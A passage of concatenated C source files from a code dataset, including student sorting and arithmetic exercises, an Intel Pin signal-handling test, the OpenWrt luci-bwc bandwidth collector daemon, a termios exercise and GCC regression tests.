int a = 0, b = 0, c = 0, tem = 0;
int i;
array[0] = 1;
for(i = 1; i < n; i++) {
tem = array[a] * 2 > array[b] * 3 ? array[b] * 3 : array[a] * 2;
tem = tem > array[c] * 5 ? array[c] * 5 : tem;
array[i] = tem;
if (tem == array[a] * 2) ++a;
if (tem == array[b] * 3) ++b;
if (tem == array[c] * 5) ++c;
}
return array[n-1];
}
int main(){
int n = 120;
int x = nthUglyNumber(n);
printf("The %dth ugly number is %d\n", n, x);
return 0;
} |
the_stack_data/178265120.c |
#include <stdio.h>
#include <stdlib.h>
struct item{
int m;
float x;
char c[2];
} lol;
int main()
{
/*
int m=1,k=0;
do{
k++;
m=m+2;
if(m%2!=0)
break;
else
printf("%d",m);
}while(m<10);
printf("\nk = %d",k);
*/
/*
char address[80];
scanf("%[a-z]",address);
printf("%-80s\n\n",address);
*/
/*
float y;
y = 98.7654;
printf("%-7.2f",y);
*/
/*
static int b[] = {10,20,30,40,50};
int i;
for(i=0;i<=4;i++){
printf("%d ",i[b]);
}
*/
/*
int a = 5,c=9,b=2;
b *= a+c;
printf("%d",b);
*/
/*
char a[10];
printf("size = %d",sizeof(float));
*/
return 0;
}
|
the_stack_data/45451553.c | #include <errno.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// int n[] is a pointer so we have to
// give the number of elements (size)
// as an arg
bool contains_repeated(int n[], int s) {
for(int i = 0; i < s-1; i++) {
if(n[i+1] == n[i])
return true;
}
return false;
}
bool only_increases(int n[], int s) {
for(int i = 0; i < s-1; i++) {
if(!(n[i+1] >= n[i]))
return false;
}
return true;
}
int main() {
int total_passwords = 0;
// Puzzle input: 108457-562041
for (int num = 108457; num < 562041; num++) {
// convert int 123 to array[1,2,3]
int tmp = num;
int n[6]; // passwords are 6 ints long
for (int i = 5; i >=0; i--) {
n[i] = tmp % 10;
tmp /= 10;
}
// length of array n[]
// ... which we already know (6) but
// if you ever have to figure it
// out during run time this is how
// to do it
int size = sizeof(n) / sizeof(n[0]);
if (contains_repeated(n, size) && only_increases(n, size)) {
total_passwords++;
}
}
printf("total passwords: %d\n", total_passwords);
exit(EXIT_SUCCESS);
}
|
the_stack_data/24305.c | int maxim(int a, int b)
{
if(a<b) return b;
return a;
}
int main(void)
{
return maxim(0, -3);
}
|
the_stack_data/86076185.c | /*
* Q1_A - Array of pinter to integers
* by Yuri Ritvin 316961101
* MTA
*/
#include <stdio.h>
#include <stdlib.h>
#define SIZE 100
int **pointerSort(int *arr, unsigned int size, char ascend_flag);
void partition(int **arr, int low, int high, char ascend_flag);
void mergeSort(int **arr, int low, int mid, int high, char ascend_flag);
void printPointers(int **arr, unsigned int size);
int main() {
/*
*/
char ascend_flag;
unsigned int size, i;
int arr[SIZE];
int **pointers;
scanf("%u", &size);
for (i = 0; i < size; i++)
scanf("%d", &arr[i]);
getchar();
scanf("%c", &ascend_flag);
pointers = pointerSort(arr, size, ascend_flag);
printPointers(pointers, size);
return 0;
}
void printPointers(int **arr, unsigned int size) {
/*
* printPointers - printing array of pointer
*/
for (unsigned int i=0;i < size; i++ ){
printf("%d ", *arr[i]);
}
}
int **pointerSort(int *arr, unsigned int size, char ascend_flag) {
/*
* **pointerSort
* @*arr - array of int to be sorted
* @size - size of arr
* @ascend_flag - 1 for ascending order else descending
*
* return pointer to array of poiinter to int
*/
int *(*arrPointers) = malloc(sizeof(int) * size);
for (unsigned int i = 0; i < size; i++) {
arrPointers[i] = &arr[i];
}
partition(arrPointers, 0, size-1, ascend_flag);
return arrPointers;
}
void partition(int **arr, int low, int high, char ascend_flag) {
/*
* partition
* @**arr - pointer to array of pointers
*/
int mid;
if (low < high) {
mid = (low + high) / 2;
partition(arr, low, mid, ascend_flag);
partition(arr, mid + 1, high, ascend_flag);
mergeSort(arr, low, mid, high, ascend_flag);
}
}
void mergeSort(int **arr, int low, int mid, int high, char ascend_flag) {
/*
* Implement of merge sort algorithm
*/
int i, m, k, l, **temp[SIZE];
l = low;
i = low;
m = mid + 1;
while ((l <= mid) && (m <= high)) {
if (ascend_flag == '1' && (*arr[l] <= *arr[m])) {
temp[i] = (int **) arr[l];
l++;
} else if (ascend_flag != '1' && (*arr[l] >= *arr[m])) {
temp[i] = (int **) arr[l];
l++;
} else {
temp[i] = (int **) arr[m];
m++;
}
i++;
}
if (l > mid) {
for (k = m; k <= high; k++) {
temp[i] = (int **) arr[k];
i++;
}
}
else {
for (k = l; k <= mid; k++) {
temp[i] = (int **) arr[k];
i++;
}
}
for (k = low; k <= high; k++) {
arr[k] = (int *) temp[k];
}
} |
the_stack_data/117328993.c | /*BEGIN_LEGAL
Intel Open Source License
Copyright (c) 2002-2015 Intel Corporation. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer. Redistributions
in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution. Neither the name of
the Intel Corporation nor the names of its contributors may be used to
endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
END_LEGAL */
/*
* This test validates an edge case within Pin. Pin checks for and delivers
* any pending asynchronous signals at the end of each trace. However, it
* handles any synchronous signals (i.e. faults) immediately. There is a weird
* edge case if Pin has a pending asynchronous signal at the time a synchronous
* signal is generated.
*
* In an old version of Pin, there was a bug that caused the application's
* signal mask to be set incorrectly in the above case. This test forces the
* edge case to occur, and then validates that the signal mask is set correctly.
*
* Forcing the edge case is a little tricky. The test expects to handle two
* signals: a VTALRM (from an i-timer) and a SEGV (by executing an invalid store).
* To force the edge case, we want the VTALRM to be delivered while Pin is
* executing the basic block that contains the invalid (faulting) store. Obviously,
* this is a very small timing window. We use a special Pin tool to open up this
* timing window. The Pin tool finds the basic block that contains the faulting
* store and inserts a long-running analysis routine at the first instruction of
* this basic block. This essentially causes the basic block to run for a very
* long time, which makes it much more likely that the VTALRM will be delivered
* during that basic block.
*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
static void HandleSegv(int);
static void HandleAlarm(int);
static void CheckMask();
static void MakeSegv();
int main()
{
struct sigaction sigact;
struct itimerval itval;
sigact.sa_handler = HandleSegv;
sigemptyset(&sigact.sa_mask);
sigact.sa_flags = 0;
if (sigaction(SIGSEGV, &sigact, 0) == -1)
{
fprintf(stderr, "Unable handle SEGV\n");
return 1;
}
if (sigaction(SIGBUS, &sigact, 0) == -1)
{
fprintf(stderr, "Unable handle SEGV\n");
return 1;
}
sigact.sa_handler = HandleAlarm;
if (sigaction(SIGVTALRM, &sigact, 0) == -1)
{
fprintf(stderr, "Unable handle VTALRM\n");
return 1;
}
itval.it_value.tv_sec = 0;
itval.it_value.tv_usec = 100000;
itval.it_interval.tv_sec = 0;
itval.it_interval.tv_usec = 0;
if (setitimer(ITIMER_VIRTUAL, &itval, 0) == -1)
{
fprintf(stderr, "Unable to set up alarm\n");
return 1;
}
MakeSegv();
return 0;
}
static void HandleSegv(int sig)
{
printf("Got SEGV\n");
CheckMask();
exit(0);
}
static void HandleAlarm(int sig)
{
printf("Got VTALRM\n");
CheckMask();
}
static void CheckMask()
{
sigset_t mask;
int sig;
if (sigprocmask(SIG_SETMASK, 0, &mask) == -1)
{
fprintf(stderr, "Unable to get mask\n");
exit(1);
}
for (sig = 1; sig < 32; sig++)
{
if (sigismember(&mask, sig))
{
printf("Signal %d blocked\n", sig);
if (sig != SIGSEGV && sig != SIGVTALRM && sig != SIGBUS)
{
fprintf(stderr, "Signal %d unexpectedly blocked\n", sig);
exit(1);
}
}
}
}
static void MakeSegv()
{
volatile int * p;
int i;
/*
* Make a big basic block, which the Pin tool can find. The Pin tool
* inserts an analysis call at the beginning of this block, which stalls
* for a long time. We expect that the VTALRM signal will be delivered
* to Pin during the analysis call. Pin should keep that signal pending
* until the end of this basic block.
*/
p = &i;
*p = 1;
*p = 2;
*p = 3;
*p = 4;
*p = 5;
*p = 6;
*p = 7;
*p = 8;
*p = 9;
/*
* The following store must be in the same basic block as the stores above
* in order for the test to be valid.
*
* This store causes a SEGV, thus forcing a synchronous signal to be delivered
* while an asynchronous signal (the VTALRM) is pending inside of Pin.
*/
p = (volatile int *)0x9;
i = *p;
}
|
the_stack_data/18887345.c | /*
* luci-bwc - Very simple bandwidth collector cache for LuCI realtime graphs
*
* Copyright (C) 2010 Jo-Philipp Wich <[email protected]>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <inttypes.h>
#include <fcntl.h>
#include <time.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <arpa/inet.h>
#include <dlfcn.h>
#define STEP_COUNT 60
#define STEP_TIME 1
#define TIMEOUT 10
#define PID_PATH "/var/run/luci-bwc.pid"
#define DB_PATH "/var/lib/luci-bwc"
#define DB_IF_FILE DB_PATH "/if/%s"
#define DB_RD_FILE DB_PATH "/radio/%s"
#define DB_CN_FILE DB_PATH "/connections"
#define DB_LD_FILE DB_PATH "/load"
#define IF_SCAN_PATTERN \
" %[^ :]:%u %u" \
" %*d %*d %*d %*d %*d %*d" \
" %u %u"
#define LD_SCAN_PATTERN \
"%f %f %f"
struct file_map {
int fd;
int size;
char *mmap;
};
struct traffic_entry {
uint32_t time;
uint32_t rxb;
uint32_t rxp;
uint32_t txb;
uint32_t txp;
};
struct conn_entry {
uint32_t time;
uint32_t udp;
uint32_t tcp;
uint32_t other;
};
struct load_entry {
uint32_t time;
uint16_t load1;
uint16_t load5;
uint16_t load15;
};
struct radio_entry {
uint32_t time;
uint16_t rate;
uint8_t rssi;
uint8_t noise;
};
static int readpid(void)
{
int fd;
int pid = -1;
char buf[9] = { 0 };
if ((fd = open(PID_PATH, O_RDONLY)) > -1)
{
if (read(fd, buf, sizeof(buf)))
{
buf[8] = 0;
pid = atoi(buf);
}
close(fd);
}
return pid;
}
static int writepid(void)
{
int fd;
int wlen;
char buf[9] = { 0 };
if ((fd = open(PID_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0600)) > -1)
{
wlen = snprintf(buf, sizeof(buf), "%i", getpid());
write(fd, buf, wlen);
close(fd);
return 0;
}
return -1;
}
static int timeout = TIMEOUT;
static int countdown = -1;
static void reset_countdown(int sig)
{
countdown = timeout;
}
static char *progname;
static int prognamelen;
static int (*iw_get_rate)(const char *, int *) = NULL;
static int (*iw_get_rssi)(const char *, int *) = NULL;
static int (*iw_get_noise)(const char *, int *) = NULL;
static int init_directory(char *path)
{
char *p = path;
for (p = &path[1]; *p; p++)
{
if (*p == '/')
{
*p = 0;
if (mkdir(path, 0700) && (errno != EEXIST))
return -1;
*p = '/';
}
}
return 0;
}
static int init_file(char *path, int esize)
{
int i, file;
char buf[sizeof(struct traffic_entry)] = { 0 };
if (init_directory(path))
return -1;
if ((file = open(path, O_WRONLY | O_CREAT, 0600)) >= 0)
{
for (i = 0; i < STEP_COUNT; i++)
{
if (write(file, buf, esize) < 0)
break;
}
close(file);
return 0;
}
return -1;
}
static inline uint32_t timeof(void *entry)
{
return ntohl(((struct traffic_entry *)entry)->time);
}
static int update_file(const char *path, void *entry, int esize)
{
int rv = -1;
int file;
char *map;
if ((file = open(path, O_RDWR)) >= 0)
{
map = mmap(NULL, esize * STEP_COUNT, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_LOCKED, file, 0);
if ((map != NULL) && (map != MAP_FAILED))
{
if (timeof(entry) > timeof(map + esize * (STEP_COUNT-1)))
{
memmove(map, map + esize, esize * (STEP_COUNT-1));
memcpy(map + esize * (STEP_COUNT-1), entry, esize);
}
munmap(map, esize * STEP_COUNT);
rv = 0;
}
close(file);
}
return rv;
}
static int mmap_file(const char *path, int esize, struct file_map *m)
{
m->fd = -1;
m->size = -1;
m->mmap = NULL;
if ((m->fd = open(path, O_RDONLY)) >= 0)
{
m->size = STEP_COUNT * esize;
m->mmap = mmap(NULL, m->size, PROT_READ,
MAP_SHARED | MAP_LOCKED, m->fd, 0);
if ((m->mmap != NULL) && (m->mmap != MAP_FAILED))
return 0;
}
return -1;
}
static void umap_file(struct file_map *m)
{
if ((m->mmap != NULL) && (m->mmap != MAP_FAILED))
munmap(m->mmap, m->size);
if (m->fd > -1)
close(m->fd);
}
static void * iwinfo_open(void)
{
return dlopen("/usr/lib/libiwinfo.so", RTLD_LAZY);
}
static int iwinfo_update(
void *iw, const char *ifname, uint16_t *rate, uint8_t *rssi, uint8_t *noise
) {
int (*probe)(const char *);
int val;
if (!iw_get_rate)
{
if ((probe = dlsym(iw, "nl80211_probe")) != NULL && probe(ifname))
{
iw_get_rate = dlsym(iw, "nl80211_get_bitrate");
iw_get_rssi = dlsym(iw, "nl80211_get_signal");
iw_get_noise = dlsym(iw, "nl80211_get_noise");
}
else if ((probe = dlsym(iw, "madwifi_probe")) != NULL && probe(ifname))
{
iw_get_rate = dlsym(iw, "madwifi_get_bitrate");
iw_get_rssi = dlsym(iw, "madwifi_get_signal");
iw_get_noise = dlsym(iw, "madwifi_get_noise");
}
else if ((probe = dlsym(iw, "wl_probe")) != NULL && probe(ifname))
{
iw_get_rate = dlsym(iw, "wl_get_bitrate");
iw_get_rssi = dlsym(iw, "wl_get_signal");
iw_get_noise = dlsym(iw, "wl_get_noise");
}
else
{
return 0;
}
}
*rate = (iw_get_rate && !iw_get_rate(ifname, &val)) ? val : 0;
*rssi = (iw_get_rssi && !iw_get_rssi(ifname, &val)) ? val : 0;
*noise = (iw_get_noise && !iw_get_noise(ifname, &val)) ? val : 0;
return 1;
}
static void iwinfo_close(void *iw)
{
void (*do_close)(void);
if ((do_close = dlsym(iw, "nl80211_close")) != NULL) do_close();
if ((do_close = dlsym(iw, "madwifi_close")) != NULL) do_close();
if ((do_close = dlsym(iw, "wl_close")) != NULL) do_close();
if ((do_close = dlsym(iw, "wext_close")) != NULL) do_close();
if ((do_close = dlsym(iw, "iwinfo_close")) != NULL) do_close();
dlclose(iw);
}
static int update_ifstat(
const char *ifname, uint32_t rxb, uint32_t rxp, uint32_t txb, uint32_t txp
) {
char path[1024];
struct stat s;
struct traffic_entry e;
snprintf(path, sizeof(path), DB_IF_FILE, ifname);
if (stat(path, &s))
{
if (init_file(path, sizeof(struct traffic_entry)))
{
fprintf(stderr, "Failed to init %s: %s\n",
path, strerror(errno));
return -1;
}
}
e.time = htonl(time(NULL));
e.rxb = htonl(rxb);
e.rxp = htonl(rxp);
e.txb = htonl(txb);
e.txp = htonl(txp);
return update_file(path, &e, sizeof(struct traffic_entry));
}
static int update_radiostat(
const char *ifname, uint16_t rate, uint8_t rssi, uint8_t noise
) {
char path[1024];
struct stat s;
struct radio_entry e;
snprintf(path, sizeof(path), DB_RD_FILE, ifname);
if (stat(path, &s))
{
if (init_file(path, sizeof(struct radio_entry)))
{
fprintf(stderr, "Failed to init %s: %s\n",
path, strerror(errno));
return -1;
}
}
e.time = htonl(time(NULL));
e.rate = htons(rate);
e.rssi = rssi;
e.noise = noise;
return update_file(path, &e, sizeof(struct radio_entry));
}
static int update_cnstat(uint32_t udp, uint32_t tcp, uint32_t other)
{
char path[1024];
struct stat s;
struct conn_entry e;
snprintf(path, sizeof(path), DB_CN_FILE);
if (stat(path, &s))
{
if (init_file(path, sizeof(struct conn_entry)))
{
fprintf(stderr, "Failed to init %s: %s\n",
path, strerror(errno));
return -1;
}
}
e.time = htonl(time(NULL));
e.udp = htonl(udp);
e.tcp = htonl(tcp);
e.other = htonl(other);
return update_file(path, &e, sizeof(struct conn_entry));
}
static int update_ldstat(uint16_t load1, uint16_t load5, uint16_t load15)
{
char path[1024];
struct stat s;
struct load_entry e;
snprintf(path, sizeof(path), DB_LD_FILE);
if (stat(path, &s))
{
if (init_file(path, sizeof(struct load_entry)))
{
fprintf(stderr, "Failed to init %s: %s\n",
path, strerror(errno));
return -1;
}
}
e.time = htonl(time(NULL));
e.load1 = htons(load1);
e.load5 = htons(load5);
e.load15 = htons(load15);
return update_file(path, &e, sizeof(struct load_entry));
}
static int run_daemon(void)
{
FILE *info;
uint32_t rxb, txb, rxp, txp;
uint32_t udp, tcp, other;
uint16_t rate;
uint8_t rssi, noise;
float lf1, lf5, lf15;
char line[1024];
char ifname[16];
int i;
void *iw;
struct sigaction sa;
struct stat s;
const char *ipc = stat("/proc/net/nf_conntrack", &s)
? "/proc/net/ip_conntrack" : "/proc/net/nf_conntrack";
switch (fork())
{
case -1:
perror("fork()");
return -1;
case 0:
if (chdir("/") < 0)
{
perror("chdir()");
exit(1);
}
close(0);
close(1);
close(2);
break;
default:
return 0;
}
/* setup USR1 signal handler to reset timer */
sa.sa_handler = reset_countdown;
sa.sa_flags = SA_RESTART;
sigemptyset(&sa.sa_mask);
sigaction(SIGUSR1, &sa, NULL);
/* write pid */
if (writepid())
{
fprintf(stderr, "Failed to write pid file: %s\n", strerror(errno));
return 1;
}
/* initialize iwinfo */
iw = iwinfo_open();
/* go */
for (reset_countdown(0); countdown >= 0; countdown--)
{
/* alter progname for ps, top */
memset(progname, 0, prognamelen);
snprintf(progname, prognamelen, "luci-bwc %d", countdown);
if ((info = fopen("/proc/net/dev", "r")) != NULL)
{
while (fgets(line, sizeof(line), info))
{
if (strchr(line, '|'))
continue;
if (sscanf(line, IF_SCAN_PATTERN, ifname, &rxb, &rxp, &txb, &txp))
{
if (strncmp(ifname, "lo", sizeof(ifname)))
update_ifstat(ifname, rxb, rxp, txb, txp);
}
}
fclose(info);
}
if (iw)
{
for (i = 0; i < 5; i++)
{
#define iwinfo_checkif(pattern) \
do { \
snprintf(ifname, sizeof(ifname), pattern, i); \
if (iwinfo_update(iw, ifname, &rate, &rssi, &noise)) \
{ \
update_radiostat(ifname, rate, rssi, noise); \
continue; \
} \
} while(0)
iwinfo_checkif("wlan%d");
iwinfo_checkif("ath%d");
iwinfo_checkif("wl%d");
}
}
if ((info = fopen(ipc, "r")) != NULL)
{
udp = 0;
tcp = 0;
other = 0;
while (fgets(line, sizeof(line), info))
{
if (strstr(line, "TIME_WAIT"))
continue;
if (strstr(line, "src=127.0.0.1 ") &&
strstr(line, "dst=127.0.0.1 "))
continue;
if (sscanf(line, "%*s %*d %s", ifname) || sscanf(line, "%s %*d", ifname))
{
if (!strcmp(ifname, "tcp"))
tcp++;
else if (!strcmp(ifname, "udp"))
udp++;
else
other++;
}
}
update_cnstat(udp, tcp, other);
fclose(info);
}
if ((info = fopen("/proc/loadavg", "r")) != NULL)
{
if (fscanf(info, LD_SCAN_PATTERN, &lf1, &lf5, &lf15))
{
update_ldstat((uint16_t)(lf1 * 100),
(uint16_t)(lf5 * 100),
(uint16_t)(lf15 * 100));
}
fclose(info);
}
sleep(STEP_TIME);
}
unlink(PID_PATH);
if (iw)
iwinfo_close(iw);
return 0;
}
static void check_daemon(void)
{
int pid;
if ((pid = readpid()) < 0 || kill(pid, 0) < 0)
{
/* daemon ping failed, try to start it up */
if (run_daemon())
{
fprintf(stderr,
"Failed to ping daemon and unable to start it up: %s\n",
strerror(errno));
exit(1);
}
}
else if (kill(pid, SIGUSR1))
{
fprintf(stderr, "Failed to send signal: %s\n", strerror(errno));
exit(2);
}
}
static int run_dump_ifname(const char *ifname)
{
int i;
char path[1024];
struct file_map m;
struct traffic_entry *e;
check_daemon();
snprintf(path, sizeof(path), DB_IF_FILE, ifname);
if (mmap_file(path, sizeof(struct traffic_entry), &m))
{
fprintf(stderr, "Failed to open %s: %s\n", path, strerror(errno));
return 1;
}
for (i = 0; i < m.size; i += sizeof(struct traffic_entry))
{
e = (struct traffic_entry *) &m.mmap[i];
if (!e->time)
continue;
printf("[ %u, %u, %" PRIu32
", %u, %u ]%s\n",
ntohl(e->time),
ntohl(e->rxb), ntohl(e->rxp),
ntohl(e->txb), ntohl(e->txp),
((i + sizeof(struct traffic_entry)) < m.size) ? "," : "");
}
umap_file(&m);
return 0;
}
static int run_dump_radio(const char *ifname)
{
int i;
char path[1024];
struct file_map m;
struct radio_entry *e;
check_daemon();
snprintf(path, sizeof(path), DB_RD_FILE, ifname);
if (mmap_file(path, sizeof(struct radio_entry), &m))
{
fprintf(stderr, "Failed to open %s: %s\n", path, strerror(errno));
return 1;
}
for (i = 0; i < m.size; i += sizeof(struct radio_entry))
{
e = (struct radio_entry *) &m.mmap[i];
if (!e->time)
continue;
printf("[ %u, %d, %d, %d ]%s\n",
ntohl(e->time),
e->rate, e->rssi, e->noise,
((i + sizeof(struct radio_entry)) < m.size) ? "," : "");
}
umap_file(&m);
return 0;
}
static int run_dump_conns(void)
{
int i;
char path[1024];
struct file_map m;
struct conn_entry *e;
check_daemon();
snprintf(path, sizeof(path), DB_CN_FILE);
if (mmap_file(path, sizeof(struct conn_entry), &m))
{
fprintf(stderr, "Failed to open %s: %s\n", path, strerror(errno));
return 1;
}
for (i = 0; i < m.size; i += sizeof(struct conn_entry))
{
e = (struct conn_entry *) &m.mmap[i];
if (!e->time)
continue;
printf("[ %u, %u, %u, %u ]%s\n",
ntohl(e->time), ntohl(e->udp),
ntohl(e->tcp), ntohl(e->other),
((i + sizeof(struct conn_entry)) < m.size) ? "," : "");
}
umap_file(&m);
return 0;
}
static int run_dump_load(void)
{
int i;
char path[1024];
struct file_map m;
struct load_entry *e;
check_daemon();
snprintf(path, sizeof(path), DB_LD_FILE);
if (mmap_file(path, sizeof(struct load_entry), &m))
{
fprintf(stderr, "Failed to open %s: %s\n", path, strerror(errno));
return 1;
}
for (i = 0; i < m.size; i += sizeof(struct load_entry))
{
e = (struct load_entry *) &m.mmap[i];
if (!e->time)
continue;
printf("[ %u, %u, %u, %u ]%s\n",
ntohl(e->time),
ntohs(e->load1), ntohs(e->load5), ntohs(e->load15),
((i + sizeof(struct load_entry)) < m.size) ? "," : "");
}
umap_file(&m);
return 0;
}
int main(int argc, char *argv[])
{
int opt;
progname = argv[0];
prognamelen = -1;
for (opt = 0; opt < argc; opt++)
prognamelen += 1 + strlen(argv[opt]);
while ((opt = getopt(argc, argv, "t:i:r:cl")) > -1)
{
switch (opt)
{
case 't':
timeout = atoi(optarg);
break;
case 'i':
if (optarg)
return run_dump_ifname(optarg);
break;
case 'r':
if (optarg)
return run_dump_radio(optarg);
break;
case 'c':
return run_dump_conns();
case 'l':
return run_dump_load();
default:
break;
}
}
fprintf(stderr,
"Usage:\n"
" %s [-t timeout] -i ifname\n"
" %s [-t timeout] -r radiodev\n"
" %s [-t timeout] -c\n"
" %s [-t timeout] -l\n",
argv[0], argv[0], argv[0], argv[0]
);
return 1;
}
|
the_stack_data/139871.c | // C program to find LCM of two numbers
/*
suppose we have two numbers a and b.
Property: Since product of LCM and GCD of two numbers are equal to product
of that number itself. i.e, LCM(a,b)*GCD(a,b)=a*b. So,here we first find the
GCD of two numbers and using above property we find LCM of that two numbers.
*/
#include <stdio.h>
// Recursive function to return gcd of a and b
int gcd(int a, int b)
{
if (a == 0)
return b;
return gcd(b % a, a);
}
// Function to return LCM of two numbers
int lcm(int a, int b) { return (a * b) / gcd(a, b); }
// Driver program
int main()
{
int a, b;
printf("Enter two numbers to find their LCM \n");
scanf("%d%d", &a, &b);
printf("LCM of %d and %d is %d ", a, b, lcm(a, b));
return 0;
}
/*
Test Case1:
a=15,b=20
LCM(a,b)=60
Test Case2:
a=12,b=18
LCM(a,b)=36
*/
|
the_stack_data/215769175.c | //BUBBLE SORT
//ASCENDING ORDER
//STABLE SORT
#include <stdio.h>
void bubblesort(int arr[],int n)
{
for(register int i=n-1;i>=0;i--)
{
for(register int j=0;j<i;j++)
{
if(arr[j]>arr[j+1])
{
//swap
int temp = arr[j+1];
arr[j+1] = arr[j];
arr[j] = temp;
}
}
}
}
int main()
{
printf("Enter the size of the array\n");
int n;
scanf("%d",&n);
int arr[n];
printf("Enter the elements of the array\n");
for(register int i=0;i<n;i++)
{
scanf("%d",&arr[i]);
}
bubblesort(arr,n);
printf("The sorted array:\n");
for(register int i=0;i<n;i++)
{
printf("%d ",arr[i]);
}
printf("\n");
} |
the_stack_data/196033.c | /*
answer for 6.3
*/
#include <stdio.h>
#include <termios.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#define ASK "Do you want another transaction"
#define TRIES 3
#define SLEEPTIME 2
#define BEEP putchar('\a')
int get_response(char *,int);
void set_crmode();
void tty_mode_restore(int);
char get_ok_char();
void set_nodelay_mode();
int main(){
int response;
tty_mode_restore(0);
set_crmode();
//set_nodelay_mode();
response = get_response(ASK,TRIES);
printf("response is %d",response);
tty_mode_restore(1);
return response;
}
int get_response(char *question,int maxtries){
char input;
printf("%s (y/n)",question);
//printf("\njust for test");
fflush(stdout);
while(1){
//sleep(SLEEPTIME);
input = tolower(get_ok_char());
if(input == 'y')
return 0;
if(input == 'n')
return 1;
if(maxtries-- == 0)
return 2;
BEEP;
}
}
char get_ok_char(){
int c;
while((c=getchar())!=EOF && strchr("yYnN",c) == NULL);
return c;
}
void set_crmode(){
//set no buffer
struct termios ttystate;
tcgetattr(0,&ttystate);
ttystate.c_lflag &= ~ICANON;
ttystate.c_lflag &= ~ECHO;
ttystate.c_cc[VMIN] = 0;
ttystate.c_cc[VTIME] = 10;
tcsetattr(0,TCSANOW,&ttystate);
}
void set_nodelay_mode(){
int termflags;
termflags = fcntl(0,F_GETFL);
termflags |= O_NDELAY;
fcntl(0,F_SETFL,termflags);
}
void tty_mode_restore(int how){
static struct termios original_mode;
static int original_flags;
if(!how){
tcgetattr(0,&original_mode);
original_flags = fcntl(0,F_GETFL);
}
else{
tcsetattr(0,TCSANOW,&original_mode);
fcntl(0,F_SETFL,original_flags);
}
} |
the_stack_data/95450879.c | int main() {
int a = 0;
for (int i = 0; i < 5; ++i) {
a += i;
}
return a;
}
|
the_stack_data/1146828.c | #include <stdio.h>
/*
3584
65465
11111
1278
10
666
337
1000
*/
int main()
{
long long int n;
int digitos, aux;
while (scanf("%lld\n", &n) != EOF)
{
digitos = 0;
aux = 1;
while (n >= aux)
{
if ((n / aux) % 2 == 0)
digitos++;
aux *= 10;
}
printf("%d\n", digitos);
}
return 0;
} |
the_stack_data/76700136.c | #include<stdio.h>
#include<stdlib.h>
void A(void);
void B(void)
{ putchar('B');
if(rand( )%2==1)
A( );
}
|
the_stack_data/82948936.c | /* Due to a reload inheritance bug, the asm statement in f() would be passed
the low part of u.ll on little-endian 32-bit targets. */
/* { dg-do run { target mips*-*-* } } */
extern void abort (void);
extern void exit (int);
#if !defined(__mips16)
unsigned int g;
unsigned long long f (unsigned int x)
{
union { unsigned long long ll; unsigned int parts[2]; } u;
u.ll = ((unsigned long long) x * x);
asm ("mflo\t%0" : "=r" (g) : "l" (u.parts[1]));
return u.ll;
}
int main ()
{
union { unsigned long long ll; unsigned int parts[2]; } u;
u.ll = f (0x12345678);
if (g != u.parts[1])
abort ();
exit (0);
}
#else
int main () { exit (0); }
#endif
|
the_stack_data/59782.c | typedef __SIZE_TYPE__ size_t;
typedef struct {
long double dat[2];
} gsl_complex_long_double;
typedef struct {
size_t size;
size_t stride;
long double *data;
} gsl_vector_complex_long_double;
void gsl_vector_complex_long_double_set_zero (gsl_vector_complex_long_double * v)
{
long double * const data = v->data;
const size_t n = v->size;
const size_t stride = v->stride;
const gsl_complex_long_double zero = { { 0.0L,0.0L} } ;
size_t i;
for (i = 0; i < n; i++)
*(gsl_complex_long_double *) (data + 2 * i * stride) = zero;
}
|
the_stack_data/176575.c | #include <stdlib.h>
#include <stdio.h>
int pyramidS(int *a, int *b){
int t = *a;
*a = *b;
*b = t;
return 0;
}
int main(){
int n, i, count = 0, b = 0;
scanf ("%i", &n);
int a[n];
for (i = 0; i < n; ++i){
scanf ("%i", &a[i]);
}
while (1){
b = 0;
for (i = 0; i < n; ++i){
if (i*2 + 2 + count < n){
if (a[i+count] > a[i*2 + 1 + count] || a[i + count] > a[i*2 + 2 + count]){
if (a[i*2+1+count] < a[i*2+2+count]){
pyramidS(&a[i+count], &a[i*2+1+count]);
b = 1;
}
else if (a[i*2+2+count] < a[i*2+1+count]){
pyramidS(&a[i+count],&a[i*2+2+count]);
b = 1;
}
}
}
else if (i * 2 + 1 + count < n){
if (a[i+count] > a[i*2+1+count]){
pyramidS(&a[i+count], &a[i*2+1+count]);
b=1;
}
}
}
if (!b)
count++;
if (count + 2 == n)
break;
}
for (i = 0; i < n; ++i){
